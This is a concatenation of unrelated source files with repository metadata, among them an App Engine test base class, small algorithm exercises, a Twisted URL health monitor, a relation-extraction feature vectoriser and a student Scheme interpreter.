os.path.realpath(self.rel_root_path) # First, create an instance of the Testbed class. self.testbed = testbed.Testbed() # Then activate the testbed, which prepares the service stubs for use. self.testbed.activate() # Set environment variables. self.testbed.setup_env(HTTP_HOST='localhost') self.testbed.setup_env(SERVER_SOFTWARE='Development') # Next, declare which service stubs you want to use. self.testbed.init_app_identity_stub() self.policy = datastore_stub_util.PseudoRandomHRConsistencyPolicy( probability=1) self.testbed.init_datastore_v3_stub(consistency_policy=self.policy) self.testbed.init_memcache_stub() ndb.get_context().clear_cache() self.testbed.init_blobstore_stub() self.testbed.init_urlfetch_stub() self.testbed.init_user_stub() self.testbed.init_taskqueue_stub(root_path=self.abs_root_path) self.testbed.init_images_stub() # Set stubs access. self.taskqueue_stub = self.testbed.get_stub( testbed.TASKQUEUE_SERVICE_NAME) # URLFetch stub. self.testbed._disable_stub('urlfetch') self.fetch_stub = FetchServiceStub() self.testbed._register_stub('urlfetch', self.fetch_stub) # Reset namespace. namespace_manager.set_namespace('') # Update application config to force template absolute import. rel_templates_path = os.path.join(start, '../templates') abs_templates_path = os.path.realpath(rel_templates_path) self.application.config.update( {'templates_path': abs_templates_path}) # Wrap the app with WebTest’s TestApp. self.testapp = webtest.TestApp(self.application) def tearDown(self): """Deasctivate testbed.""" self.testbed.deactivate() def clear_globals(self): webapp2._local.__release_local__() def login_admin(self): """Log in the current user as admin.""" self.testbed.setup_env(user_is_admin='1') def logout_admin(self): """Log out the current user as admin.""" self.testbed.setup_env(user_is_admin='0') def assertRouteUrl(self, route_name, url, args=None, kwargs=None): """Test that given route name match the URL. Args: route_name -- (str) webapp2 route name. url -- (str) Expected URL. args -- (iter) Route args. kwargs -- (dict) Route kwargs. """ if args is None: args = [] if kwargs is None: kwargs = {} # Set a dummy request just to be able to use uri_for(). req = webapp2.Request.blank('/') req.app = self._application self._application.set_globals(app=self._application, request=req) route_url = webapp2.uri_for( route_name, *args, **kwargs) message = 'Route `{}` URL is not `{}` but `{}`' self.assertEqual(route_url, url, message.format( route_name, url, route_url)) def uri_for(self, _name, *args, **kwargs): """Return a URI for a named :class:`Route`.""" # Set a dummy request just to be able to use uri_for(). req = webapp2.Request.blank('/') req.app = self._application self._application.set_globals(app=self._application, request=req) return webapp2.uri_for(_name, *args, **kwargs) class ModelTestCase(BaseTestCase): """Test case with test method for model properties. Test the type of the fields listed in `properties` for the model `model_class`. Example : class MyModelTest(ModelTestCase, unittest.TestCase): model_class = YourModelToTest properties = {'your_field_name': FieldType,} """ model_class = None properties = {} def test_properties(self): """Test the type listed in `properties`.""" for _property, _type in self.properties.iteritems(): msg = 'Missing property `{}` in model `{}`' self.assertTrue(hasattr(self.model_class, _property), msg.format(_property, self.model_class)) msg = 'Invalid property type for `{}` in model `{}`' self.assertTrue(isinstance(getattr(self.model_class, _property), _type), msg.format(_property, self.model_class)) class FormTestCase(BaseTestCase): """Test case with test methods for forms.""" form_class = None fields_type = None fields_validators = None def assertFieldsCount(self, form_class, count): """Test fields count.""" self.assertEqual(len(form_class()._fields), count) def assertFieldsType(self, form_class, fields_type): """Test fields type.""" for _property, _type in fields_type.iteritems(): self.assertTrue(hasattr(form_class, _property)) self.assertEqual(getattr(form_class, _property).field_class, _type) def assertWidgets(self, form_class, widgets): """Test widgets.""" for _property, _widget in widgets.iteritems(): res = getattr(self.form_class, _property).kwargs.get( 'widget').__class__ self.assertEqual(res, _widget) def assertValidators(self, form_class, fields_validators): """Test fields validators.""" for _field, _validators in fields_validators.iteritems(): _field_validators = getattr(form_class, _field).kwargs.get( 'validators') _field_validators = [ validator.__class__ for validator in _field_validators] for _validator in _validators: self.assertIn(_validator, _field_validators) def assertExcluded(self, form_class, fields_exluded): """Test fields exclusions.""" msg = 'Field {} not excluded from {}' for field in fields_exluded: self.assertFalse(hasattr(form_class, field), msg.format(field, form_class))
7fd45d01e2129cf4b24995a2f307de5a3122f892
e92ccd2db621d70c75eb412e49789494a2620967
/exam/03_01.py
565386f80a9dfb153304be4f7b0273ae0c6083e6
[]
no_license
hgkang9/TIL
fb25e610c8d869014f21c370f2fc1089a9d157da
72476b974ab3283d19eec8359cb2efdf8bfd4d59
refs/heads/master
2020-04-14T10:17:25.116015
2019-05-10T08:40:37
2019-05-10T08:40:37
163,782,787
0
0
null
null
null
null
UTF-8
Python
false
false
562
py
# 파일명 변경 금지 def alphabet_count(word): # 아래에 코드를 작성하시오. # word는 소문자로만 구성 되어있습니다. # 딕셔너리를 반환합니다. result={} for char in word: if char in result: result[char] = result[char] + 1 else: result[char] = 1 return result # 아래의 코드는 수정하지마세요. if __name__ == '__main__': print(alphabet_count('hello')) print(alphabet_count('internationalization')) print(alphabet_count('haha'))
0dc3f740a97a907c11dc5ffaa412033ef989c918
6b2a8dd202fdce77c971c412717e305e1caaac51
/solutions_5686275109552128_0/Python/junzhengrice/solution.py
9b92497e2c1bdd0276ee7ca0dbcdd3108d04dfd4
[]
no_license
alexandraback/datacollection
0bc67a9ace00abbc843f4912562f3a064992e0e9
076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf
refs/heads/master
2021-01-24T18:27:24.417992
2017-05-23T09:23:38
2017-05-23T09:23:38
84,313,442
2
4
null
null
null
null
UTF-8
Python
false
false
1,062
py
file = open('in.txt','r') out = open('out.txt','w') test_cases = file.readlines() def compute(diners): DEBUG = False diners.sort(reverse = True) if DEBUG: print diners minTime = diners[0] slot = 2 newTime = minTime while slot < diners[0]: used = 0 for d in diners: if d <= slot: continue used += d // slot if d % slot == 0: used -= 1 newTime = used + slot if DEBUG: print 'slot: ', slot if DEBUG: print 'newTime: ', newTime slot += 1 if newTime < minTime: minTime = newTime return minTime lineId = 1 caseId = 0 while lineId < len(test_cases): caseId += 1 diners = map(lambda x : int(x),test_cases[lineId+1].strip().split(' ')) answer = compute(diners) #print "Case #%d: %d" % (caseId,answer) print >> out, "Case #%d: %d" % (caseId,answer) lineId += 2 file.close() out.close()
[ "root@debian" ]
root@debian
0ad7d39d78be9975e5ad00e3bcd73eebfea709c1
ef54795aabfbecd2b073714cf5f8093216119adf
/candidate_plaid/monitor.py
e683a59d0e4f0466e5d1018d21b9dedfba27971b
[ "MIT" ]
permissive
AndrewBurian/magnificent
f1185fdcc56f6c375fb445f2d2e04b83fda6cc30
2f67f84c05f92f3c82fd5d1e25b801c76ba1535e
refs/heads/master
2021-01-15T13:37:00.211707
2015-06-19T19:22:20
2015-06-19T19:22:20
37,641,339
0
0
null
2015-06-18T06:19:25
2015-06-18T06:19:24
null
UTF-8
Python
false
false
2,086
py
# # Monitor a URL continuously, providing # reports on its availability in a log file # and as a web page. # import json import logging import sys from twisted.internet import task from twisted.internet import reactor from twisted.web import server, resource import urllib2 config = {} log = logging.getLogger(__name__) checks = 0 successes = 0 failures = 0 def log_to_stderr(log): """ set up logging on standard error """ format_str = "%(asctime)s - %(name)s - %(levelname)s - %(message)s" logging.basicConfig(stream=sys.stderr, format=format_str, level=logging.DEBUG) def health_check(): """ perform the health check for a URL """ global config, log, checks, successes, failures request = urllib2.Request(config["url"]) checks += 1 try: response = urllib2.urlopen(request) log.info("%s is okay! (%s)", config["url"], response.getcode()) successes += 1 except urllib2.URLError, e: log.info("%s is ERROR! (%s)", config["url"], e) failures += 1 def generate_report(): """ format a string with current report """ report = "%i checks, %i failures, %.2f%% success rate" return report % (checks, failures, 100 * float(successes)/checks) def log_health_report(): """ log the report """ log.info("REPORT: " + generate_report()) class MonitorSite(resource.Resource): """ simple twisted site, gives the report out on the web """ isLeaf = True def render_GET(self, request): return generate_report() if __name__ == "__main__": log_to_stderr(log) config = json.loads(open("monitor_config.json", "rb").read()) site = server.Site(MonitorSite()) reactor.listenTCP(config["port"], site) log.info("Started site on port %i", config["port"]) check_loop = task.LoopingCall(health_check) check_loop.start(config["url_frequency"]) report_loop = task.LoopingCall(log_health_report) report_loop.start(config["report_frequency"]) reactor.run()
b4114c892562323c2cb1bac92cf1aba16f1ec6c9
f1f58953b09c9eb5cecfe232249c1350355878b4
/mylib/vectorization.py
eeba213b84d9a871aaa5eca50334f6a256847fff
[]
no_license
P-Zhu/relation_extraction_demo
c6877026d4101f4a8a8d23a8cf7bf04120883c3e
5d39bc0914bcaf68fe1b2a02c351102d79a288da
refs/heads/master
2020-04-16T02:44:06.396949
2018-06-05T10:49:12
2018-06-05T10:49:12
165,205,983
2
0
null
2019-01-11T08:18:02
2019-01-11T08:18:02
null
UTF-8
Python
false
false
3,968
py
import numpy as np import copy # pos_str = 'a b c d e g h i j k m n nd nh ni nl ns nt nz o p q r u v wp ws x z' pos_dic = {'a': 0, 'b': 1, 'c': 2, 'd': 3, 'e': 4, 'g': 5, 'h': 6, 'i': 7, 'j': 8, 'k': 9, 'm': 10, 'n': 11, 'nd': 12, 'nh': 13, 'ni': 14, 'nl': 15, 'ns': 16, 'nt': 17, 'nz': 18, 'o': 19, 'p': 20, 'q': 21, 'r': 22,'u': 23, 'v': 24, 'wp': 25,'ws': 26, 'x': 27, 'z': 28, '%': 29} # parse_str = 'SBV VOB IOB FOB DBL ATT ADV CMP COO POB LAD RAD IS HED WP' parse_dic = {'SBV': 0, 'VOB': 1, 'IOB': 2, 'FOB': 3, 'DBL': 4, 'ATT': 5, 'ADV': 6, 'CMP': 7, 'COO': 8, 'POB': 9, 'LAD': 10, 'RAD': 11, 'IS': 12, 'HED': 13, 'WP': 14} class Vectorization: """ 特征: 1.实体本身 128 * 2 2.实体的长度 1 * 2 ------------- 3.实体的上下文 128 * 3 4.上下文的词性 30 * 3 ------------- 5.实体间的距离 1 6.实体的相对位置 1 7.句法分析 15 * 2 ------------- 8.点互信息 3 """ def __init__(self,loc1,loc2,words,se1,se2,se3,w2v,ltp,window=2): self.loc1 = loc1 self.loc2 = loc2 self.words = words self.window = window self.w2v = w2v self.ltp = ltp self.se1 = se1 self.se2 = se2 self.se3 = se3 self.pos = self._get_pos() self.arcs = self._get_arcs() def words_embedding(self,words): return self.w2v.words_embedding(words) def pos_embedding(self,postags): pos_vec = [0 for i in range(30)] for pos in postags: index = pos_dic[pos] pos_vec[index] += 1 return pos_vec def arc_embedding(self,arcs): arcs_vec = [0 for i in range(15)] arcs = list(self.arcs) for arc in arcs: index = parse_dic[arc.relation] arcs_vec[index] += 1 return arcs_vec def entity_feature(self,loc): start,end = loc ne_words = self.words[start:end] ne_vec = self.words_embedding(ne_words) length = len(''.join(ne_words)) return ne_vec,length def find_context(self): context_pre = [] context_mid = [] context_post = [] start1,end1 = self.loc1 start2,end2 = self.loc2 if start1>start2: start1,start2 = start2,start1 end1,end2 = end2,end1 for i in range(len(self.words)): if start1-self.window<=i<start1: context_pre.append(i) elif end1<=i<start2: context_mid.append(i) elif end2<=i<end2+self.window: context_post.append(i) return context_pre,context_mid,context_post def context_feature(self,context): context_words = [self.words[index] for index in context] context_pos = [self.pos[index] for index in context] context_vec = self.words_embedding(context_words) pos_vec = self.pos_embedding(context_pos) return context_vec,pos_vec def sentence_feature(self): start1,end1 = self.loc1 start2,end2 = self.loc2 d = min(abs(start1 - end2),abs(start2 - end1)) rp = int(start1<end2) # 相对位置 arc1 = self.arcs[start1:end1] arc2 = self.arcs[start2:end2] arc_vec1 = self.arc_embedding(arc1) arc_vec2 = self.arc_embedding(arc2) return d,rp,arc_vec1,arc_vec2 def _get_pos(self): start,end = self.loc2 words = copy.deepcopy(self.words) words[start:end] = '书' return self.ltp.pos_tag(words) def _get_arcs(self): start,end = self.loc2 words = copy.deepcopy(self.words) words[start:end] = '书' return self.ltp.parse(words, self.pos) def vec(self): ne_vec1,length1 = self.entity_feature(self.loc1) ne_vec2,length2 = self.entity_feature(self.loc2) c1,c2,c3 = self.find_context() c_vec1,pos_vec1 = self.context_feature(c1) c_vec2,pos_vec2 = self.context_feature(c2) c_vec3,pos_vec3 = self.context_feature(c3) self.d,self.rp,arc_vec1,arc_vec2 = self.sentence_feature() return np.concatenate((ne_vec1,ne_vec2, c_vec1,c_vec2,c_vec3, pos_vec1,pos_vec2,pos_vec3, arc_vec1,arc_vec2, (length1,length2,self.d,self.rp, self.se1,self.se2,self.se3))) def pvec(self): return self.vec(),self.pos_tag,self.arcs,self.d,self.rp if __name__ == "__main__": Vectorization(**arg).vec()
f4c440d62414a3c3d8e8860bd4e1fa2f85d0d859
987a68b9c196f39ba1810a2261cd4a08c35416a3
/Tree/112-path-sum.py
c897121659c93c9c02dbd37e2b2c6ae22508b4a4
[]
no_license
xizhang77/LeetCode
c26e4699fbe1f2d2c4706b2e5ee82131be066ee5
ce68f5af57f772185211f4e81952d0345a6d23cb
refs/heads/master
2021-06-05T15:33:22.318833
2019-11-19T06:53:24
2019-11-19T06:53:24
135,076,199
0
0
null
null
null
null
UTF-8
Python
false
false
1,737
py
# -*- coding: utf-8 -*- ''' Given a binary tree and a sum, determine if the tree has a root-to-leaf path such that adding up all the values along the path equals the given sum. Note: A leaf is a node with no children. Example: Given the below binary tree and sum = 22, 5 / \ 4 8 / / \ 11 13 4 / \ \ 7 2 1 return true, as there exist a root-to-leaf path 5->4->11->2 which sum is 22. ''' # Definition for a binary tree node. # class TreeNode(object): # def __init__(self, x): # self.val = x # self.left = None # self.right = None # Time: O(n) # Space: O(1) class Solution(object): def dfs(self, root, path, sum): if not root: return if not root.left and not root.right: if path + root.val == sum: self.ans = True if root.left: self.dfs( root.left, path + root.val, sum ) if root.right: self.dfs( root.right, path + root.val , sum ) def hasPathSum(self, root, sum): """ :type root: TreeNode :type sum: int :rtype: bool """ self.ans = False self.dfs( root, 0, sum ) return self.ans # [More elegant way, no extra function needed] class Solution(object): def hasPathSum(self, root, sum): """ :type root: TreeNode :type sum: int :rtype: bool """ if not root: return False if not root.left and not root.right and sum == root.val: return True return self.hasPathSum( root.left, sum - root.val) or self.hasPathSum( root.right, sum - root.val)
26f9afcb90477731daacb9f32aaf4dfa096822a7
9aea6946ef46cf3ef19399ca77b85498e3ba6c0c
/Tests/11.py
4e3b900d1a89d1f9f2ce596fa4c9575689f944fd
[ "Apache-2.0" ]
permissive
nitindeokate99/Predictor_Tool
5bb9c45fdcc0ae61dec033aac34180aa561e03e6
be3d2acaffa0da7334714e23b9889e1a18c6bb31
refs/heads/master
2021-01-15T22:03:47.123526
2014-07-10T01:25:46
2014-07-10T01:25:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
21,214
py
"""This module implements the core Scheme interpreter functions, including the eval/apply mutual recurrence, environment model, and read-eval-print loop. """ from scheme_primitives import * from scheme_reader import * from ucb import main, trace ############## # Eval/Apply # ############## def scheme_eval(expr, env): """Evaluate Scheme expression EXPR in environment ENV. If ENV is None, simply returns EXPR as its value without further evaluation. >>> expr = read_line("(+ 2 2)") >>> expr Pair('+', Pair(2, Pair(2, nil))) >>> scheme_eval(expr, create_global_frame()) scnum(4) """ while env is not None: # Note: until extra-credit problem 22 is complete, env will # always be None on the second iteration of the loop, so that # the value of EXPR is returned at that point. if expr is None: raise SchemeError("Cannot evaluate an undefined expression.") # Evaluate Atoms if scheme_symbolp(expr): expr, env = env.lookup(expr).get_actual_value(), None elif scheme_atomp(expr): env = None # All non-atomic expressions are lists. elif not scheme_listp(expr): raise SchemeError("malformed list: {0}".format(str(expr))) else: first, rest = scheme_car(expr), scheme_cdr(expr) # Evaluate Combinations if (scheme_symbolp(first) # first might be unhashable and first in SPECIAL_FORMS): if proper_tail_recursion: expr, env = SPECIAL_FORMS[first](rest, env) else: expr, env = SPECIAL_FORMS[first](rest, env) expr, env = scheme_eval(expr, env), None else: procedure = scheme_eval(first, env) args = procedure.evaluate_arguments(rest, env) if proper_tail_recursion: expr, env = procedure.apply(args, env) else: # UPDATED 4/14/2014 @ 19:08 expr, env = scheme_apply(procedure, args, env), None return expr proper_tail_recursion = True ################################################################ # Uncomment the following line to apply tail call optimization # ################################################################ # proper_tail_recursion = True def scheme_apply(procedure, args, env): """Apply PROCEDURE (type Procedure) to argument values ARGS in environment ENV. Returns the resulting Scheme value.""" # UPDATED 4/14/2014 @ 19:08 # Since .apply is allowed to do a partial evaluation, we finish up # with a call to scheme_eval to complete the evaluation. scheme_eval # will simply return expr if its env argument is None. expr, env = procedure.apply(args, env) return scheme_eval(expr, env) ################ # Environments # ################ class Frame: """An environment frame binds Scheme symbols to Scheme values.""" def __init__(self, parent): """An empty frame with a PARENT frame (that may be None).""" self.bindings = {} self.parent = parent def __repr__(self): if self.parent is None: return "<Global Frame>" else: s = sorted('{0}: {1}'.format(k,v) for k,v in self.bindings.items()) return "<{{{0}}} -> {1}>".format(', '.join(s), repr(self.parent)) def __eq__(self, other): return isinstance(other, Frame) and \ self.parent == other.parent def lookup(self, symbol): """Return the value bound to SYMBOL. Errors if SYMBOL is not found. As a convenience, also accepts Python strings, which it turns into symbols.""" if type(symbol) is str: symbol = intern(symbol) if symbol in self.bindings: return self.bindings[symbol] if self.parent is not None: return self.parent.lookup(symbol) raise SchemeError("unknown identifier: {0}".format(str(symbol))) def global_frame(self): """The global environment at the root of the parent chain.""" e = self while e.parent is not None: e = e.parent return e def make_call_frame(self, formals, vals): """Return a new local frame whose parent is SELF, in which the symbols in the Scheme formal parameter list FORMALS are bound to the Scheme values in the Scheme value list VALS. Raise an error if too many or too few arguments are given. >>> env = create_global_frame() >>> formals, vals = read_line("(a b c)"), read_line("(1 2 3)") >>> env.make_call_frame(formals, vals) <{a: 1, b: 2, c: 3} -> <Global Frame>> """ frame = Frame(self) if len(formals) != len(vals): raise SchemeError for expression in range(len(formals)): frame.define(formals[expression], vals[expression]) return frame def define(self, sym, val): """Define Scheme symbol SYM to have value VAL in SELF. As a convenience, SYM may be Python string, which is converted first to a Scheme symbol. VAL must be a SchemeValue.""" assert isinstance(val, SchemeValue), "values must be SchemeValues" if type(sym) is str: sym = intern(sym) self.bindings[sym] = val ##################### # Procedures # ##################### class Procedure(SchemeValue): """The superclass of all kinds of procedure in Scheme.""" # Arcane Technical Note: The odd placement of the import from scheme in # evaluate_arguments is necessary because it introduces mutually recursive # imports between this file and scheme.py. The effect of putting it # here is that we delay attempting to access scheme.scheme_eval until # after the scheme module's initialization is finished. def evaluate_arguments(self, arg_list, env): """Evaluate the expressions in ARG_LIST in ENV to produce arguments for this procedure. Default definition for procedures.""" from scheme import scheme_eval return arg_list.map(lambda operand: scheme_eval(operand, env)) class PrimitiveProcedure(Procedure): """A Scheme procedure defined as a Python function.""" def __init__(self, fn, use_env=False): self.fn = fn self.use_env = use_env def __str__(self): return '#[primitive]' def __repr__(self): return "PrimitiveProcedure({})".format(str(self)) def apply(self, args, env): """Apply a primitive procedure to ARGS in ENV. Returns a pair (val, None), where val is the resulting value. >>> twos = Pair(SchemeInt(2), Pair(SchemeInt(2), nil)) >>> plus = PrimitiveProcedure(scheme_add, False) >>> plus.apply(twos, None) (scnum(4), None) """ try: converted_list = [] while args != nil: converted_list.append(args.first) args = args.second if self.use_env: converted_list.append(env) val = self.fn(*converted_list) return val, None except TypeError: raise SchemeError class LambdaProcedure(Procedure): """A procedure defined by a lambda expression or the complex define form.""" def __init__(self, formals, body, env = None): """A procedure whose formal parameter list is FORMALS (a Scheme list), whose body is the single Scheme expression BODY, and whose parent environment is the Frame ENV. A lambda expression containing multiple expressions, such as (lambda (x) (display x) (+ x 1)) can be handled by using (begin (display x) (+ x 1)) as the body.""" self.formals = formals self.body = body self.env = env def _symbol(self): return 'lambda' def __str__(self): # UPDATED 4/16/2014 @ 13:20 return "({0} {1} {2})".format(self._symbol(), str(self.formals), str(self.body)) def __repr__(self): args = (self.formals, self.body, self.env) return "{0}Procedure({1}, {2}, {3})".format(self._symbol().capitalize(), *(repr(a) for a in args)) def __eq__(self, other): return type(other) is type(self) and \ self.formals == other.formals and \ self.body == other.body and \ self.env == other.env def apply(self, args, env): environment = self.env.make_call_frame(self.formals, args) if proper_tail_recursion: return self.body, self.env.make_call_frame(self.formals, args) else: return scheme_eval(self.body, self.env.make_call_frame(self.formals, args)), None class MuProcedure(LambdaProcedure): """A procedure defined by a mu expression, which has dynamic scope. """ def _symbol(self): return 'mu' def apply(self, args, env): if proper_tail_recursion: return self.body, env.make_call_frame(self.formals, args) else: return scheme_eval(self.body, env.make_call_frame(self.formals, args)), None # Call-by-name (nu) extension. class NuProcedure(LambdaProcedure): """A procedure whose parameters are to be passed by name.""" def _symbol(self): return 'nu' def evaluate_arguments(self, arg_list, env): """Evaluate the expressions in ARG_LIST in ENV to produce arguments for this procedure. Default definition for procedures.""" return arg_list.map(lambda operand: Thunk(nil, operand, env)) class Thunk(LambdaProcedure): """A by-name value that is to be called as a parameterless function when its value is fetched to be used.""" def get_actual_value(self): return scheme_eval(self.body, self.env) ################# # Special forms # ################# # All of the 'do_..._form' methods return a value and an environment, # as for the 'apply' method on Procedures. That is, they either return # (V, None), indicating that the value of the special form is V, or they # return (Expr, Env), indicating that the value of the special form is what # you would get by evaluating Expr in the environment Env. def do_lambda_form(vals, env, function_type=LambdaProcedure): """Evaluate a lambda form with formals VALS[0] and body VALS.second in environment ENV, create_global_frame eating a procedure of type FUNCTION_TYPE (a subtype of Procedure).""" check_form(vals, 2) operands = vals.first check_formals(operands) body = vals.second if len(body)!= 1: return function_type(operands, Pair("begin", body), env), None return function_type(operands, body.first, env), None def do_mu_form(vals, env): """Evaluate a mu (dynamically scoped lambda) form with formals VALS[0] and body VALS.second in environment ENV.""" return do_lambda_form(vals, env, function_type=MuProcedure) def do_nu_form(vals, env): """Evaluate a mu (call-by-name scoped lambda) form with formals VALS[0] and body VALS.second in environment ENV.""" return do_lambda_form(vals, env, function_type=NuProcedure) def do_define_form(vals, env): """Evaluate a define form with parameters VALS in environment ENV.""" check_form(vals, 2) target = vals[0] if scheme_symbolp(target): check_form(vals, 2, 2) env.define(target, scheme_eval(vals[1], env)) return (target, None) elif scheme_pairp(target): func_name = target.first if isinstance(func_name, SchemeNumber) or isinstance(func_name, SchemeFloat): raise SchemeError("bad argument to define") lambda_vals = Pair(target.second, vals.second) lambda_func = do_lambda_form(lambda_vals, env)[0] env.define(func_name, lambda_func) return func_name, None else: raise SchemeError("bad argument to define") def do_quote_form(vals, env): """Evaluate a quote form with parameters VALS. ENV is ignored.""" check_form(vals, 1, 1) return vals[0], None def do_let_form(vals, env): """Evaluate a let form with parameters VALS in environment ENV.""" check_form(vals, 2) bindings = vals[0] exprs = vals.second if not scheme_listp(bindings): raise SchemeError("bad bindings list in let form") # Add a frame containing bindings names, values = nil, nil for item in bindings: values = Pair(scheme_eval(item.second.first, env), values) names = Pair(item.first, names) new_env = env.make_call_frame(names, values) # Evaluate all but the last expression after bindings, and return the last last = len(exprs)-1 for i in range(0, last): scheme_eval(exprs[i], new_env) return exprs[last], new_env ######################### # Logical Special Forms # ######################### def do_if_form(vals, env): """Evaluate if form with parameters VALS in environment ENV.""" check_form(vals, 2, 3) if (scheme_eval(vals.first, env)): return vals.second.first, env elif len(vals) == 2: return okay, None return vals.second.second.first, env def do_and_form(vals, env): """Evaluate short-circuited and with parameters VALS in environment ENV.""" if len(vals): for i in range(len(vals) - 1): if not(scheme_eval(vals[i], env)): return scheme_false, None return vals[len(vals) - 1], env return scheme_true, None def quote(value): """Return a Scheme expression quoting the Scheme VALUE. >>> s = quote('hello') >>> print(s) (quote hello) >>> scheme_eval(s, Frame(None)) # "hello" is undefined in this frame. intern('hello') """ return Pair("quote", Pair(value, nil)) def do_or_form(vals, env): """Evaluate short-circuited or with parameters VALS in environment ENV.""" for value in vals: eval_expression = scheme_eval(value, env) if eval_expression: return eval_expression, None return scheme_false, None def do_cond_form(vals, env): """Evaluate cond form with parameters VALS in environment ENV.""" num_clauses = len(vals) for i, clause in enumerate(vals): check_form(clause, 1) if clause.first is else_sym: if i < num_clauses-1: raise SchemeError("else must be last") test = scheme_true if clause.second is nil: raise SchemeError("badly formed else clause") else: test = scheme_eval(clause.first, env) if test: if len(clause.second) == 0: return test, None if len(clause.second) >= 2: return Pair('begin', clause.second), env return clause.second.first, env return okay, None def do_begin_form(vals, env): """Evaluate begin form with parameters VALS in environment ENV.""" check_form(vals, 0) if scheme_nullp(vals): return okay, None for i in range(len(vals) - 1): scheme_eval(vals[i], env) return vals[len(vals) - 1], env # Collected symbols with significance to the interpreter and_sym = intern("and") begin_sym = intern("begin") cond_sym = intern("cond") define_macro_sym = intern("define-macro") define_sym = intern("define") else_sym = intern("else") if_sym = intern("if") lambda_sym = intern("lambda") let_sym = intern("let") mu_sym = intern("mu") nu_sym = intern("nu") or_sym = intern("or") quasiquote_sym = intern("quasiquote") quote_sym = intern("quote") set_bang_sym = intern("set!") unquote_splicing_sym = intern("unquote-splicing") unquote_sym = intern("unquote") # Collected special forms SPECIAL_FORMS = { and_sym: do_and_form, begin_sym: do_begin_form, cond_sym: do_cond_form, define_sym: do_define_form, if_sym: do_if_form, lambda_sym: do_lambda_form, let_sym: do_let_form, mu_sym: do_mu_form, nu_sym: do_nu_form, or_sym: do_or_form, quote_sym: do_quote_form, } # Utility methods for checking the structure of Scheme programs def check_form(expr, min, max = None): """Check EXPR (default SELF.expr) is a proper list whose length is at least MIN and no more than MAX (default: no maximum). Raises a SchemeError if this is not the case.""" if not scheme_listp(expr): raise SchemeError("badly formed expression: " + str(expr)) length = len(expr) if length < min: raise SchemeError("too few operands in form") elif max is not None and length > max: raise SchemeError("too many operands in form") def check_formals(formals): """Check that FORMALS is a valid parameter list, a Scheme list of symbols in which each symbol is distinct. Raise a SchemeError if the list of formals is not a well-formed list of symbols or if any symbol is repeated. >>> check_formals(read_line("(a b c)")) """ seen_symbols = [] while len(formals): if not(scheme_symbolp(formals.first)) or formals.first in seen_symbols: raise SchemeError seen_symbols.append(formals.first) formals = formals.second ################ # Input/Output # ################ def read_eval_print_loop(next_line, env, quiet=False, startup=False, interactive=False, load_files=()): """Read and evaluate input until an end of file or keyboard interrupt.""" if startup: for filename in load_files: scheme_load(scstr(filename), True, env) while True: try: src = next_line() while src.more_on_line: expression = scheme_read(src) result = scheme_eval(expression, env) if not quiet and result is not None: scheme_print(result) except (SchemeError, SyntaxError, ValueError, RuntimeError) as err: if (isinstance(err, RuntimeError) and 'maximum recursion depth exceeded' not in err.args[0]): raise print("Error:", err) except KeyboardInterrupt: # <Control>-C if not startup: raise print("\nKeyboardInterrupt") if not interactive: return except EOFError: # <Control>-D, etc. return def scheme_load(*args): """Load a Scheme source file. ARGS should be of the form (SYM, ENV) or (SYM, QUIET, ENV). The file named SYM is loaded in environment ENV, with verbosity determined by QUIET (default true).""" if not (2 <= len(args) <= 3): vals = args[:-1] raise SchemeError("wrong number of arguments to load: {0}".format(vals)) sym = args[0] quiet = args[1] if len(args) > 2 else True env = args[-1] if (scheme_stringp(sym)): sym = intern(str(sym)) check_type(sym, scheme_symbolp, 0, "load") with scheme_open(str(sym)) as infile: lines = infile.readlines() args = (lines, None) if quiet else (lines,) def next_line(): return buffer_lines(*args) read_eval_print_loop(next_line, env.global_frame(), quiet=quiet) return okay def scheme_open(filename): """If either FILENAME or FILENAME.scm is the name of a valid file, return a Python file opened to it. Otherwise, raise an error.""" try: return open(filename) except IOError as exc: if filename.endswith('.scm'): raise SchemeError(str(exc)) try: return open(filename + '.scm') except IOError as exc: raise SchemeError(str(exc)) def create_global_frame(): """Initialize and return a single-frame environment with built-in names.""" env = Frame(None) env.define("eval", PrimitiveProcedure(scheme_eval, True)) env.define("apply", PrimitiveProcedure(scheme_apply, True)) env.define("load", PrimitiveProcedure(scheme_load, True)) for names, fn in get_primitive_bindings(): for name in names: proc = PrimitiveProcedure(fn) env.define(name, proc) return env @main def run(*argv): next_line = buffer_input interactive = True load_files = () if argv: try: filename = argv[0] if filename == '-load': load_files = argv[1:] else: input_file = open(argv[0]) lines = input_file.readlines() def next_line(): return buffer_lines(lines) interactive = False except IOError as err: print(err) sys.exit(1) read_eval_print_loop(next_line, create_global_frame(), startup=True, interactive=interactive, load_files=load_files) tscheme_exitonclick()
2998f5e4229936fa07643c68e5957639cb555f0a
be43157c2462887aa84163203462b66392a87035
/Technical-Analysis-And-Practice-in-TensorFlow-master/source/9/9.2 MNIST的分类问题.py
34cee91192cf2e5859cf250a9ba6bb47921a839e
[]
no_license
VanLiuZhi/tf_gpu
8c146d2cb6c86239c64b45da512dad53cf058268
4a62ddd6e540758c3f42f5627d436860eaabf670
refs/heads/master
2021-05-05T10:28:37.554878
2018-02-06T09:40:59
2018-02-06T09:40:59
117,962,239
0
0
null
null
null
null
UTF-8
Python
false
false
2,356
py
